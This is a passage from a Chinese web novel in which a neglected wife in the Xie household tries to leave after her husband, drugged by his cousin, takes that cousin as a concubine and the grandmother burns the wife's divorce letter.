且这回李眀柔好不容易被放出来,她总觉得李明柔应该是要做出些什么事情来的。
林嬷嬷听了季含漪的话,连忙压低声音道:“少夫人放心,老奴定然好好盯着她,绝不能让她再害少夫人了。”
季含漪回过头,又与秦氏扯了些其他家常,正打算起身的时候,又看到谢锦走了过来。
秦氏一看到谢锦过来,就起身找别人说话去了,对于这个一向高傲的谢府大姑娘,她向来都是避让着的。
谢锦今日身上的打扮格外隆重显眼,她向来喜好排面,又的确有才情,在京中贵女中也有些人追捧,便浑身透着一股骄傲来。
那股骄傲在看见季含漪的时候,尤为浓重。
季含漪亦不想怎么理会谢锦,也要走的时候,谢锦已经坐在了身侧,身子做得笔直,有些慢条斯理的目光斜斜看向旁边的季含漪:“顾浔放出来了,你知不知晓?”
这事已经过了快一个月,谢锦再问,也不知她什么意思。
季含漪淡淡一抿唇,接过了身边丫头送来的茶盏。
她面色如常的低头饮了一口,又点点头:“知晓,之前舅母给我来了信。”
谢锦紧紧看着季含漪的神色,半点不对也没看出来。
她也是在前几天才听夫君说顾洵被放出来了,至于怎么放出来的,她问夫君,夫君也没怎么说,只说说不清,就更叫她觉得好奇了。
今早夫君又让她回来打听打听,看看顾家身后是不是有什么人在帮,也好心里有个底,往后办着顾家的事也知道怎么应对。
要是真的有大关系,少不得还要套套近乎。
谢锦心里头却对夫君的话是嗤之以鼻的,什么大关系?有大关系能求来谢家了?但夫君说顾浔竟然让指挥使和左都御使大人都点了名,她都觉得蹊跷的很,这才勉为其难的过来问问季含漪。
她听了季含漪的话又淡淡笑了下道:“我今早才听说是锦衣卫指挥使大人叫我夫君放的人。”
说着谢锦的声音微微一顿,视线看在季含漪平静的脸庞上,眼眸深处带着一股不屑的探究:“顾家是不是后头又找了谁家?”
“还是顾家哪个认识的人与指挥使大人相熟?”
季含漪稍稍一顿,又摇头:“我极少回顾家,也不知情的。”
这话似是而非的,也不知道到底是个什么情况,谢锦总觉得这事怪的恨。
顾家什么样,有个什么关系,那顾家大老爷能现在还在边远地?
她看着季含漪的面容,也觉得是自己夫君想多了。
想着可能是顾家二夫人又花了银子,怎么求到了锦衣卫指挥使那里,阴差阳错的人家应了,八成就是这样。
至于左都御史那里,大抵也是不知怎么从哪儿听来的,顺口提起一句。
想着这些,谢锦眉间不由又含了淡淡讽刺,又看着季含漪道:“问你倒也是白问了,瞧你与顾家的关系也不过如此,不过你表哥既然出来了,那你这些日还与玉恒闹什么?”
“谢家娶你过门,可不是让你这般没规矩的。”
季含漪捧着手炉看了眼谢锦:“姐姐说话往后考量着些,别信口拈来。”
“一来这事我未与大爷提过,也从未要过让大爷帮我,二来我也未闹过,更不会因为这件事闹。”
“这件事已过了一月,姐姐再提,有些没意思了。”
谢锦一愣,季含漪这些话不似她往常的安静温顺,今日这几句处处带着锋芒。
自己是谢玉恒的姐姐,季含漪何时敢这么与她说话了。
她眯着眼看着季含漪,见着她背着栏杆而坐,秀气又端正,一袭秋月色的衣裳,珠翠简单,却眉目如画,唇红齿白的总有那么几分娇媚。
又那一双细细的手,细细的颈脖,
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细声细气娇娇气气的声音,还有那细细的腰肢,都叫谢锦总生出一股羡慕的情绪来。
从当初她第一眼见季含漪,就心生出了羡慕了。
怎有女子生的如女娲娘娘精雕细琢般的样样好?若她也生了她那样一张脸,也有那女子都眼馋的身段,她便能迷惑众多男子,裙下臣无数。
她自然幻想过这些,生了一张颠倒众生的脸,让所有男子对她趋之若鹜,可遗憾的是,偏偏是季含漪生了这样一张容貌,并不是她。
心底从深处起,便不想要她过的太好。
总之是不能比她好的,即便她是自己亲弟弟的妻子。
谢锦脸上微沉,冷笑一声:“你说没闹就没闹了?我听说你与玉恒都分了屋子睡,你还说没闹?”
“你顾家的事情是解决了,但你现在不知足,觉得谢家没帮你,心里有怨气,便来缠我的弟弟。”
“再有明柔那事,你也从中做梗,搅的现在府里乱成一团,如今又对我不敬,我看就是平日里没规矩,不然玉恒怎么这般不喜你?”
季含漪心里头厌烦。
谢锦常喜欢打听她院子里的事情,她与谢玉恒的一点风吹草动,她竟比谁都关心。
季含漪自来是懒得费口舌辩驳这些的,谢玉恒常说他喜后院清静,不喜女子之间那些口舌之争,也该叫他来这儿听听,谢府到底是谁喜欢口舌之争。
将手上的茶盏放在面前石桌上,搭在扶手上的手臂放下来,季含漪微微坐直了身,看向谢锦:“姐姐若是一直不明不白的就先入为主的张口乱说的话,我便陪不了姐姐说话了。”
“大爷在大理寺办案,却不知道偏听则暗,兼听则明的道理,姐姐是大爷长姐,看来也不知晓。”
谢锦脸色微变,指着季含漪:“你……”
季含漪垂眸,不言不语,任由谢锦指着。
她话说的明白,谁要再说,她堵不住嘴。
但今日是谢老太太的寿宴,周遭都是宾客,季含漪淡淡的看了眼谢锦,谢锦这般在意脸面的人,若是她真发疯,后悔的亦不是她。
再有她明日就能走了,又忍谢锦什么。
这时候林氏往季含漪这边过来,就见着谢锦正指着季含漪,这大庭广众的要是传出话说府里不和睦就遭了,老太太又这么在意季含漪,林氏忙拦了谢锦的手,低低道:“有什么话后头再说。”
谢锦微微一愣,又看到母亲严肃的脸色,到底是忍下了这口气。
又与林氏说了顾洵被放出来的事情。
林氏亦是一脸诧异的看着季含漪,她还以为顾洵被治罪了,没想到被放出来了。
又看季含漪这些日不声不响的,玉恒也没与她说过这事,不知道怎么的,就是心里头忽然生了股极不舒服的情绪。
林氏问季含漪:“你什么时候知道的?”
季含漪便回话:“一月前的事情。”
林氏吸了口气,亏得她前两天还在想季含漪这般闹着是不是因为顾洵的事,没想到顾洵早被放出来了。
她神色复杂的看了季含漪一眼,这会儿也不想多说什么话,只是对谢锦道:“这事既然放了人,也是顾家那个的造化,也不必提起了。”
“毕竟这事谢家是没出力。”
谢锦心里憋着一口气,冷眼看着季含漪:“你以为送走了明柔,我弟弟就喜欢你了?”
“你这样的性子,我弟弟不可能喜欢你的。”
季含漪淡淡点头,半分波澜不起:“这样也好。”
谢锦瞪大眼睛看着季含漪,都觉得季含漪现在是不是中邪了。
林氏也神色复杂,又对季含漪道:“先跟我去正堂老太太那儿去陪着。”
季含漪这会儿倒是站起了身,跟着林氏一起走了。
谢锦看着季含漪的背影,愣是半晌都没反应过来。
第68章 谢玉恒纳妾
到了半上午,季含漪与婆母站了会儿,又被叫去陪着谢府的那些亲戚,待会儿叫他们去花厅用膳。
这会儿已经快要开席了,季含漪去的路上见着了匆忙往她这头来的林嬷嬷,便顿住步子等她。
林嬷嬷一来季含漪身边,便急忙将她跟着李眀柔看到的说了出来。
说罢,林嬷嬷压低声音着急的看向季含漪:“老奴在外头等了大半个时辰都没等到人出来,少夫人要去瞧瞧么?”
“老奴怕那狐狸精又给大爷灌什么**汤。”
季含漪微思,仔细问了林嬷嬷谢玉恒带着李眀柔进后院书房的时辰,算起来的确呆了许久。
今日是老太太寿辰,谢玉恒作为谢家长孙,定然要在前院应酬,怎么可能在后院呆这么久。
这时候又来了个婆子过来,一见到季含漪就忙来她身边问:“大少夫人,大老爷在前院问大爷呢,叫大爷赶紧往前院去。”
“大老爷说大爷说了句来后院有事,结果来了就找不到人了,老奴在后院找了许久都没瞧见大爷,正巧碰见您,便来问问。”
站在旁边的林嬷嬷赶紧就要开口,被季含漪一把握住了手。
季含漪低低道:“我刚才一直在婆母身边没见到大爷,大爷平日里多呆在书房,嬷嬷要不去书房问问?”
那婆子听了这话,也忙点头去了。
季含漪又看向林嬷嬷:“你继续去看着,不用打扰就是。”
林嬷嬷诶了一声走后,季含漪快要到花厅的时候,又一个婆子急匆匆的赶来,一来便朝着季含漪着急忙慌道:“少夫人,出大事了。”
这婆子是她院子里的婆子,季含漪见她慌张的神情,不由顿住问:“怎么了?”
那婆子赶紧引季含漪去路边角落处压低了声音道:“今儿上午的时候,大爷带着表姑娘往书房去,往常表姑娘也常去大爷的书房,今日虽然呆的久了些,可我们做下人的也没有想那么多。”
“可就在刚才,王老夫人和李夫人被大夫人引着往书房来,说是来借大爷几卷画回去,我们在外头传话,可里头没人应,大夫人听说大爷是在书房的,便直接推了房门进去,可哪想……”
“可哪想……”
季含漪听到这里,心里头其实已经猜了个**不离十,她还算镇定道:“别急,慢慢说。”
那婆子缓了缓,这才又道:“哪成想屋里头大爷和表姑娘衣裳不整,那表姑娘更是浑身连件肚兜都没有,光溜溜的正被大爷压在桌案上呢。”
季含漪蹙眉看向婆子:“你们在外头就没听见动静?”
婆子便道:“守在门口的是大爷的长随,老奴站在远些的地方,也不知他听见了些没有,可能也没想过会出这样的事,要不是今日大夫人带着人来推门,老奴也想不到……”
季含漪心里大致猜测出李眀柔的用意,从刚才听嬷嬷说两人进了书房许久就猜出来了。
李明柔大抵是不愿嫁去乡下的,她想要留在谢府,便想出了这样的法子。
只是如今这事被外人撞见了,对于李眀柔来说,是她想要的结局么。
还有谢玉恒在外那爱妻冷清和正派的名声,这回的事情一过,如果传出去,怕是要流言四起了。
对于听到谢玉恒和李明柔之间的事情,季含漪心里早已没有了任何波澜,她只又问:“大夫人当时怎么处置的?”
婆子又一五一十的说了。
原那两位夫人里,其中的王老夫人是谢老太太的亲妹妹,最喜收藏古画。
林氏一心想要讨好王老夫人,拼命说谢玉恒书房里收藏了珍品画卷,却没想出了这么大的事情。
因着露了李眀柔的脸,那两位也自然认得李眀柔,当时林氏只好硬着头皮承认下来李明柔是谢玉恒年前纳的妾室,一直没对外头说出去。
这样说的话,谢玉恒不过是白日荒唐了些,总好过无名无份的苟且,且那苟且之人一个是自己的儿子,另外一个是自己的外甥女。
季含漪听罢便点点头,让婆子先回,依旧先去花厅接待宾客,当作任何的事情都没有发生。
现在谢玉恒与李眀柔如何,她都不想沾染上任何关系了。
她只是头疼,她明明明日就打算离开谢府,又做什么要出这些事情。
不过这件事尽管林氏尽力掩盖,但还是传到了谢老太太的耳朵里。
王老太太将门虎女,亲眼撞见了这样的事情,还是在自己姐姐的寿宴上出了这丑,怎么不与谢老太太说。
往常谢老太太的宴会是要办到下午去,但今日两轮宴席才刚过,就匆匆的结束,显然是谢老太太动怒了。
季含漪往谢老太太那儿去的时候,谢玉恒正跪在谢老太太的面前,大老爷拿着鞭子抽到谢玉恒的后背上,将他后背抽出皮开肉绽的血痕,又哭着跪在谢老太太的面前赔罪,说自己养了个孽子。
林氏缩着脖子站在角落处,连大气都不敢出一声。
季含漪在来的路上,倒是还听说了点李眀柔的情况。
李眀柔连跪在老太太跟前的资格都没有,林氏更不敢让她出现在老太太的面前,又将她关在了院子里。
因这事也不全是两人故意苟且,只因李眀柔给谢玉恒的茶水里下了药。
这事还是老太太查出来的。
老太太还算了解些谢玉恒的性子,即便他当真是再喜欢李眀柔,也是不可能在今日这样的日子里做出这样荒唐的事情来的,便叫身边婆子去书房查。
这一查,那桌上放着的茶水里还混着药量不少的情药,那李眀柔的身上也
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抹了催情香,事情一目了然,谢老太太更是大怒。
此刻屋子里静悄悄一片,谢玉恒跪在地上后背被打得血肉模糊,爬跪在地上,几乎是半死。
林氏看着默默落泪,一声也不敢吭。
这屋子里只有大房的人,老太太将消息掩盖的严严实实,二房三房都没透露出半点,就是为了谢玉恒的脸面名声。
在自己的亲祖母的寿宴上做出这等事情,要是被有心之**劾,官职都有可能不保。
谢老太太被气得捂住胸口,手指发抖的指着跪在面前这个她最心疼,也是谢家最出息的长孙,长叹一声:“恒哥儿,你糊涂啊……”
谢玉恒在大理寺任上很有些政绩,堂官也赏识,还得过圣上的夸,要是一直这样下去,进六部也是迟早的事情。
只是如今没想到,一个表姑娘,竟差点毁了他的前程。
谢玉恒沉默的低着头,一言不发,只是眼角在看到旁边那一抹白边摇曳的裙摆时,撑在地上的手掌不自觉的紧了紧。
大老爷跪在谢玉恒的身边,亦是一脸难堪的朝着谢老太太道:“儿子今日就打死这个逆子,儿子教导无方,也但凭母亲处置。”
大老爷说罢,又要捡起地上的鞭子往谢玉恒的身上打下去,林氏这才赶忙哭着扑到谢玉恒的身上,大哭道:“老爷,再打就真没了……”
大老爷一脸的怒色,指着林氏的手都在发抖:“我不在府里这些年你是怎么打理的宅院,你是怎么教导的儿子!你将个祸害引进来,我今日便是将你休了也有由头!”
林氏瑟瑟发抖,脸色惨白,一句话也不敢说了。
最后还是谢老太太叫大老爷打住,那鞭子才没有再次抽到谢玉恒的身上。
谢老太太深吸了几口气,再低低道:“那祸害是再不可能留的,她做出了这等伤风败俗的事情,便将她送回到她老家去,自生自灭吧!”
“明日就送走!”
老太太的话落下,即便是林氏也不敢反驳。
她心里对李眀柔也是生了一层恨铁不成刚的怨恨来,若是李眀柔想要成为谢玉恒的妾室,与她说就是,偏偏选在老太太生辰这天,偏偏还叫人撞见了,事情也做不干净,还害了自己儿子。
场上没一个人敢为李眀柔求情,李眀柔的往后,可想而知。
被谢家放逐,带着财物,无依无靠,有姿色却非完璧,身上还背着丑事。
在就要将这件事情尘埃落定的一片寂静里,一直沉默不言的谢玉恒却忽然沙哑的开口了。
只见谢玉恒抬头看向谢老太太,声音沙哑无力:“明柔一念之差做了错事是她不对,但她只是想要留在谢家而已,求祖母留下她吧。”
“她身子已经给了孙儿,孙儿不忍,想纳她为妾。”
第69章 一月之期已到,就要离开
谢玉恒的声音一出来,屋子里顿时一静,若有似无的目光便纷纷往季含漪身上看过来。
就连谢老太太都不由往季含漪身上看去一眼。
季含漪的神色很平静,平静到似乎事不关己,平静到好似早已预料。
对于季含漪来说,谢玉恒这时候还为李眀柔求情,当真也不是什么好稀奇的。
历来如此,一直如此。
她也很明白,今日若她与李眀柔的身份对调,换来的也一定是谢玉恒厌恶的神情。
他对李眀柔的所有宽容偏袒,都是对她的苛待。
季含漪没说话,没人问她,她便不说话。
最先发话的还是谢老太太,她也是唯一能发话的了。
她当即气得拍桌:“我看你当真是昏了头了,一个女人这么算计你,你竟然还要为他求情!”
谢玉恒捏紧手,挺直的后背上全是坚持的倔强,低低道:“祖母若不答应,今日便打死孙儿吧。”
旁边的大老爷被谢玉恒的话气得一抖,捏着鞭子就又朝着谢玉恒的身上打下去,怒声道:“孽子,你以为我不敢打死你是不是!”
很快鞭子声再度响起,鞭子打在身上发出沉闷的声音,谢玉恒却死死咬着牙,一声没吭。
大老爷见谢玉恒这么犟,手上的力气更重。
打到最后,谢玉恒身上的绿色衣衫全被血水打湿,整个人摇摇欲坠,要是再打下去,可能人就真要打**。
林氏哭的快晕了过去,谢老太太也看不下去了,赶紧叫大老爷住手。
谢玉恒身上已经没有了力气,趴在地上,染了一地的血。
季含漪低头,目光与地上的谢玉恒目光对上,他在看她,眼里满是愧疚。
季含漪想,他到底在愧疚什么呢。
谢老太太将目光放在了季含漪的身上,将这最难的选择权交到了季含漪的手上:“含漪,你要是不肯原谅恒哥儿的话,今日我便做主打**他。”
又叹声:“你要是也不忍心,就成全了恒哥儿吧。”
季含漪默默抬眸,到底是老太太啊。
将这个根本没有选择的选择,让她来决定。
她是谢玉恒的妻,要是真让谢玉恒**,她就是丧夫。
谢家不放她走,她就要在谢家守一辈子的寡。
又是她的决定害**谢玉恒,他们会让她在谢家好过么。
季含漪明白,老太太怎么可能真让谢玉恒死,老太太不过借她的口下台阶,成全了谢玉恒。
季含漪抬头看向谢老太太,声音很轻:“孙媳不敢做主,还是老太太做主吧。”
谢老太太深深看了季含漪一眼,又叹息,回头对谢玉恒道:“你做出这样的事情,本来将你打死也是应该的。”
“但大房唯你一个后人,我亦不忍心。”
“我可以答应让你纳妾,但她用这种上不得台面的方式,那她这辈子就只能为妾!”
“她得给我守好谢家的规矩,侍奉好主母,且她主母膝下若是没有孩子,她也不许有,即便她有了,那也必须要送到主母名下去养,你到时候若是还敢宠妾灭妻,我第一个饶不了你,还直接杖杀了她。”
谢玉恒强撑着身体对着谢老太太叩首,声音已经断断续续:"谢祖母成全……”
旁边的大老爷虽说恨自己儿子做了这样的事情,但也没真的想将他打死,见老太太肯松口不怪罪,他也松了口气。
他刚才故意打得重,其实也是救自己儿子。
谢大老爷看向季含漪叹息:“含漪,从前我虽承诺过你父亲不让玉恒纳妾,只是如今事出有因,你别怪谢家,往后玉恒敢犯浑,我会给你撑腰的。”
季含漪垂着眸子,少见的没有回话。
谢大老爷看季含漪不说话,也没有怪她,他也自觉有愧,当年要不是有季含漪的父亲,哪里还有如今的他,他不是不记得恩情,只是自己儿子用命来要挟,他这做父亲的又能怎么办。
他又长叹一声,让身边人赶紧将地上的谢玉恒扶起来,送回去请郎中来。
谢玉恒身上全都是血,后背上的血痕更是触目惊心,被人扶着起来的时候,整个人摇摇欲坠,几乎没有力气站起来。
他经过季含漪面前的时候,谢玉恒死死顿住了步子没有走。
一向清正的人,此刻拉拢着头,如墨的眼睛看向季含漪,眼眸里带着一股难过,声音从喉咙发出来,低如喃喃,含糊不清:“含漪,我对不住你……”
季含漪闭上眼睛,不愿多看谢玉恒一眼。
谢玉恒眼眶通红,唇角咳出了几丝血沫,又与她解释:“她已委身与我,我不能弃她不顾……”
旁边林氏已经哭得哽咽:“快带他去看郎中吧,快要出人命了……”
扶着谢玉恒的两人赶紧想要扶着谢玉恒往外走,但谢玉恒却死死定着身子,眼睛依旧紧紧看在季含漪的身上。
林氏不由伸手推着季含漪:“你还站在这里做什么,还不快扶着玉恒,他身上都是血,你看不见是不是?”
谢老太太皱眉看向林氏:“你急什么急,恒哥儿成这样也是你没有教导好!”
“含漪我还要留下说话,你自己去。”
林氏被老太太这么一呵斥,也不敢说话了,又去劝着谢玉恒快走。
满屋的人,无人在意她的感受。
季含漪睁开眼睛,她往后退了一步,垂着眼眸,依旧得体又体面对着谢玉恒开口:“大爷没有对不住我的,大爷的身子要紧。”
季含漪的声音是此刻外面飘起的鹅毛大雪,是肃肃冷风,是一地被踩踏的白雪,冰凉又凌乱。
谢玉恒眼眶里的血丝越来越多,被下人强拖着身子往外走,快出帘子的那一刻他回头,始终也没等到季含漪多看他一眼。
林氏哭着急匆匆的跟出去,谢大老爷一脸焦色,又对季含漪说了几句宽慰的话,又说给季含漪名下过两间铺子,当作是补偿。
谢大
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老爷今天晚上还有些事,需得赶紧准备,又匆匆与谢老太太告退。
谢老太太让谢大老爷先出去便是,又叫屋内的丫头也退下去,再招手让季含漪坐到自己身边来。
这事已经闹了一半下午,此刻外头的天色虽亮,但也开始沉了。
屋内的炭火很足,温暖的气息让屋内多了一丝人情味。
季含漪往谢老太太面前走近了几步,却没坐到谢老太太的身边去。
她看向谢老太太,比谢老太太先开口:“老太太,一月已经到了,既然大爷也已经得偿所愿,还请老太太放我离开吧。”
说着季含漪将早已准备好的和离书拿出来,垂目双手呈在谢老太太的面前:“和离书已准备好,明日我便回顾家。”
谢老太太看着季含漪呈上来的和离书一顿,接着她叹息一声,伸手从季含漪的手上将和离书接了过来,却没有打开看,只是放在了旁边的小坑桌上。
她深深看着季含漪:“含漪,不是我言而无信,只是你回顾家去,顾家愿留你?”
“即便现在肯留,将来时间久了顾家也愿?”
"再有你想过和离了的女子,日子有多艰难么?你手上的嫁妆本来就少,难道要一辈子靠着顾家活?"
“女子不管怎么说,始终都是要依附男子的,再有你母……”
季含漪忽的抬头,少见的打断了谢老太太的话:“往后含漪如何,与谢家都没干系,求老太太成全。”
她的声音里有一丝丝的颤音,对于谢老太太的话,显然是失望至极的。
谢老太太一怔,看着季含漪漂亮脸庞上的坚韧神色,眉目里满是难过。
她拿起旁边的和离书,直接放在了脚下的炭火上,火苗从底下往上窜,很快席卷了整个纸张。
季含漪一笔一笔写出来的和离书,不过须臾,就在老太太的手上化为了灰烬。
季含漪白着脸,往后退了一步。
谢老太太目色悲悯的看着季含漪:“含漪,我知晓你现在定然是恨我的,但往后你就明白我的苦心了。”
“恒哥儿对你是有情的,只要你肯再接受他,你们两人往后的日子定然是好好的。”
“含漪,我是为你好啊……”
季含漪浑身发冷发颤,她往后退了一步,摇着头,眼眶发红:“老太太,我做错了什么……?”
谢老太太一怔,她看着季含漪的神情亦觉得难过。
她一生不说万事问心无愧,却也是坦荡的,如今却骗了自己最喜欢的孙媳。
但那天夜里恒哥儿跪在她跟前痛哭的模样也叫他不忍心。
这个她最在意的孙子,自小到大都是最省心听话的,小时候从台阶上摔下来,骨头都错位了,都没有哭,那夜却哭的那样伤心。
她如何看不出来,自己孙子是从前没看清自己的心,现在看清了,要紧人了,想要与人好好过日子了。
她怎么忍心孙子喜欢的人就这么错过。
第70章 今夜就到了离开的时候
谢老太太心里也知晓,自己到底也偏心了。
为了自己的孙子,明知晓季含漪在谢家过得不如意,还想将她留在这里。
谢老太太深深叹息,又看着季含漪:“含漪,你什么都没做错,是恒哥儿对不住你。”
“往后他会好好对你的。”
“我知晓你在谢家不容易,我名下给你转三间铺子过去,库房里的首饰头面,我也叫人领着你去拿,那些都是你的,你喜欢什么,拿去便是了。”
“我这个半个身子入土的人,留着那些东西也没什么用处,往后也都是留给你的。”
季含漪只觉得眼眶里一阵发酸发热,喉咙里艰涩的一句话都说不出来。
她轻声摇头:“这些我都不要,我只要离开谢家。”
谢老太太一顿,看着季含漪:"含漪,离开谢家你就过得好么?"
季含漪捏紧手:“离开时谢家或许过得不好,但我不会回头。”
谢老太太悲悯的眼里满是无奈:“含漪,你太年轻了。”
“你根本不知道和离后应该怎样过。”
“你回去再好好想想吧。”
谢老太太说着又让身边嬷嬷扶着站起来,从季含漪的面前走过,往内室走了进去。
季含漪看着谢老太太消失在帘子后面的背影,眨了眨眼睛,无声的往外头走去。
外头的天色微沉,下起了大雪,廊下的灯笼被吹的摇摇晃晃,周遭一片寂静,只剩下星星点点的白茫茫。
容春过来将月白色的银狐斗篷披在季含漪的身上,又看向季含漪的神色,想说什么也不知道怎么开口。
刚才的事情她虽然没有在屋里,但也大概知晓出了些什么事情。
那李眀柔当真是能给少夫人添堵的。
季含漪低头,看着容春为她系上斗篷带子,旁边的嬷嬷走到季含漪的身边为她挡着风,又将一直暖着的手炉放到季含漪的手上。
容春为季含漪整理好斗篷后抬头看向季含漪,那双从来柔美的眉眼此刻染上了点点疲惫,杏眸暗淡,脸颊苍白,她看着心里生了心疼,小声问:“我们现在回哪儿?”
回哪儿。
季含漪缓缓抬头看向漫天的雪,她还能回哪儿呢。
但她明白,她的归属永远不是这里,始终都要走的,她再也不用顾及体面了,那体面也早该撕掉了。
今夜就到了离开的时候。
轻轻呵出一口白气,季含漪的声音浅淡的化开在夜色里:“容春,我想吃浮圆子了。”
容春不知怎的,眼眶一瞬间就热了,连忙点头道:“奴婢陪少夫人一起去。”
季含漪低头看向脚下的台阶,被身边的光线照亮,她提着裙摆,一步一步的缓缓走下了台阶。
谢老太太在屋内看着季含漪慢慢出去的背影,良久才叹息一声:“我也对不住她。”
“但我对她的心意,她终有一天会明白。”
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季含漪回了院子,还没有踏进去,就能感受到院子里的一片凌乱。
急匆匆的脚步声,乱七八糟的声音,还有林氏那隐隐的哭泣的声。
季含漪站在院门口,周遭所有的一切,她好似置身事外,正在看一场与她紧密相连又与她毫无关系的闹剧。
门口的丫头见着季含漪在院门口良久站着不动,便小声道:“这里是风口冷,少夫人还是进去吧。”
季含漪并不感觉到多冷,她或许是想最后看看这间院子,这呆了三年的院子。
肩头上已经薄薄盖了层雪,容春忙着给季含漪撑伞,又默默陪在身边。
进了院子,院子里没什么下人,所有下人都在主屋,丫头们端着热水进去,又端着血水出来,还有郎中匆匆提着药箱进去,门口丫头蹲在那儿烧热水。
林嬷嬷走到季含漪身边小声道:“大爷的伤不轻,老奴进去的时候,大爷一直在念着少夫人的名字,说着要见您,少夫人现在进去瞧瞧大爷么?”
季含漪站在檐下,伸手接着纷纷扬扬往下坠的雪,她缓缓抬头看向雾沉沉的天色,冷气凝白,在身后纷杂的声音里。
林嬷嬷低低的声音继续落在耳边:“刚才大爷还说,见不着少夫人一眼,便不上药了,大夫人急的不行,怎么劝大爷都不听。”
容春在旁听着都觉得有些可笑。
刚才大爷在老太太那儿,宁愿**也要纳李明柔为妾,这会儿又对少夫人这般要紧,那一颗心难道能分成两半不成?
季含漪唇边亦淡淡浮了抹讽刺的淡笑,只叫林嬷嬷先进去伺候着,她要去书房一趟。
林嬷嬷一愣,有些看不明白少夫人。
今日上午院子里发生的事情她是知晓的,但她不知道现在究竟发生了什么,又是怎么处置的,为什么大爷被打成了个血人。
但这些不是她一个下人能猜能问的,当下也不敢再开口,但她这一刻看着少夫人这淡淡的神色,大爷受那么重的伤少夫人也没想去看一眼,她不禁心里又难过。
从前大爷哪怕是回来的晚点,少夫人都担心的不行,如今大爷成了半死,大夫人也不闻不问了,她心底也隐隐能感受到些什么,忽的没头没尾的朝着季含漪小声说了一句:“大爷心里是有少夫人的。”
季含漪一顿,侧头看向林嬷嬷。
她笑了笑,叫林嬷嬷先退下去就是。
林嬷嬷心里讷了讷,知道不能再说话了,连忙退了下去。
季含漪没去主屋看一眼,甚至连主屋的外间都没有踏进去过,只在那廊下站了站,就往后廊房去了。
她让容春去整理好东西,她的画卷,她平日里看的书,她练习的字帖,还有自己置办的一些文房,还有衣裳首饰,都收拾好放进箱笼里,明日来带走的时候才利落,也不用再收拾了。
容春去收拾的时候,季含漪清点着今日能带走的那一小匣子的财物银子和首饰,收拾好了才站在那花架上看着她养的芙蓉花。
花盆里的花枝粗壮,依旧欣欣向荣,等到明年,又是枝繁叶茂。
她指尖轻抚花枝,即便已经枯萎,枝干里也有生机。
她沉甸甸的心里似乎终于松了几寸,如今的困境不过是一个囚笼,只要她继续一
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步一步往前走,困住她的囚笼也不再是囚笼了。
季含漪站了站,又抱着在她脚边轻蹭的白猫往书案上坐过去,身边烧着满是暖意的炭火,她一只手抚在白猫温热的脖子上,另一只手提笔落字。
她将今日在谢府的种种尽数写在了信纸上,又叫容春让人送出去。
只是她的信才刚送,谢大夫人就气势汹汹的往季含漪这儿来了。
她跨进了屋子,历来严肃算计的眼睛扫了一眼屋子,最后视线落在季含漪身上。
她抬手指着季含漪,一步步靠近她,眼眶通红:“玉恒成了那个模样,他到现在口中还念着你,你竟然躲在这里,不肯去见他一面。”
“你究竟是什么铁石心肠!”
季含漪平静的抬眼看着林氏,说出事实:“不是我害大爷成了这样的。”
林氏一愣,手指隐隐发抖。
她也不再想多说,伸手过来就拽着季含漪就往外头拖:“如今玉恒出了事,我没空惩治你,等玉恒好起来,等明柔给我怀上孙子,那时候你就给我去山上修佛去。”
“反正你留在谢府又有什么用处?你一个人在这里睡又是给谁看?你要不想与玉恒好好过,我就成全了你。”
林氏的手拽的很紧,力气很大,季含漪被林氏拽的跌跌撞撞,路上的丫头见了都低着头,不敢去拦。
容春慌乱的跟在后面,一路跟到了主屋。
季含漪被林氏用力的一推,将她推到了谢玉恒的床边,她的声音几乎是咬牙切齿:“你好好看看你的夫君,他现在满身是伤,可是他不愿上药,他要见了你才肯上药。”
说着林氏哽咽起来:“谢家到底有什么对不起的,你是不是要逼死他害死他你才满意!”
屋内夹杂着淡淡的血腥味和药味,炭火烧的很足,窗户紧闭,沉闷又压抑。
季含漪微微有些狼狈的撑在床沿边上,眼眸微微一抬起,对上的就是躺在床榻上脸色苍白的谢玉恒。
谢玉恒的眼眶通红,满是血丝,他见到季含漪,眼里渐渐冒出了水色,伸出一只手想要触碰季含漪同样苍白冰凉的脸庞。
谢玉恒眨眼,还带着血迹的唇瓣张口,声音嘶哑,隐隐发颤:“含漪……对不起……”
季含漪用力眨眼睛,这样的对不起,他执意要说出来,在谢玉恒的心里究竟有什么意义呢。
一次次伤害她,一次次说对不起。
这是一场凌迟的游戏,他用钝刀在割她的肉,可现在表现出最可怜的人,竟然是他。
季含漪避开谢玉恒伸过来的手,她撑着床沿站直了身子,她对他再也没有了什么心思,即便是难过伤心,都没有了。
她摇头道:“大爷现在不必与我说这个,大爷的决定,该由大爷做主。”
谢玉恒却忽然落了泪,他忽然要用力从床榻上撑起身,即便一遍遍跌下去,也要撑起来伸手去够季含漪的衣角。
但季含漪往后退了一步。
林氏再看不下去,含着泪过去扶着谢玉恒,朝着季含漪便吼出声音来:“你就这么狠心……”
第71章 离开谢府
季含漪从不知晓,原来有一天,她会是旁人口中那个狠心的人。
曾今努力也暖不热的人,现在又这般祈求的看着她,他又想做什么。
她看着谢玉恒问:“大爷要我让人叫李明柔过来照顾么?”
谢玉恒满是悲戚的看着季含漪:“你还是怪我…”
都到了这个地步,再说什么怪不怪的,季含漪都觉得虚情假意。
她轻蹙眉看着谢玉恒:“我从没怪过,我是祝愿大爷得偿所。”
说着季含漪又往后退了几步:“这里人多,我照顾大爷多不方便,李明柔向来能照顾大爷周到,我这便去差人叫她来。”
他没有要留在这里的意思,她本是要与谢玉恒说明日就要和离的,但这会儿看谢玉恒的这个模样,显然并不适合,她也不想再横生什么枝节。
季含漪没有拖泥带水的退出去,再刚掀开帘子的时候,她听到身后传来扑通一声,紧接着是林氏惊声的尖叫声,和又变得凌乱的脚步声。
季含漪的手指微微一顿,但她没回头看一眼,直接掀了帘子便走了出去。
倒是容春没忍住往后看去,在看了一眼后,不由得捂住了唇。
只见大爷上半身跌落到床榻底下,赤裸的后背上,纵横的伤口还往外渗血,看起来骇人极了。
更叫容春觉得害怕的是,大爷的眼神紧紧往少夫人的那头看去,她都看不明白大爷到底是为什么,也不敢再多看,赶忙跟在季含漪的身后出去。
林氏哭着去将跌落在地上的谢玉恒扶着,声音哽咽的不行,林氏含泪看着谢玉恒失神看着一个方向的眼睛,痛心疾首的沙哑道:“到底是为什么……
“你告诉母亲,你到底是为什么……
谢玉恒愣愣听着母亲的话,他也在心里问自己为什么,但他问自己千万遍,他永远也找不到那个答案。
他只知晓,要是季含漪离开了自己,自己都觉得活着没什么意思了。
**从前满心满眼都是他的人,怎么如今就变成这样了呢。
他茫然的想,季含漪只是又误会他了,他不喜欢明柔的,他对明柔只是照顾,她总有一天能理解自己的。
只要自己不写和离书,她就永远不能离开自己……
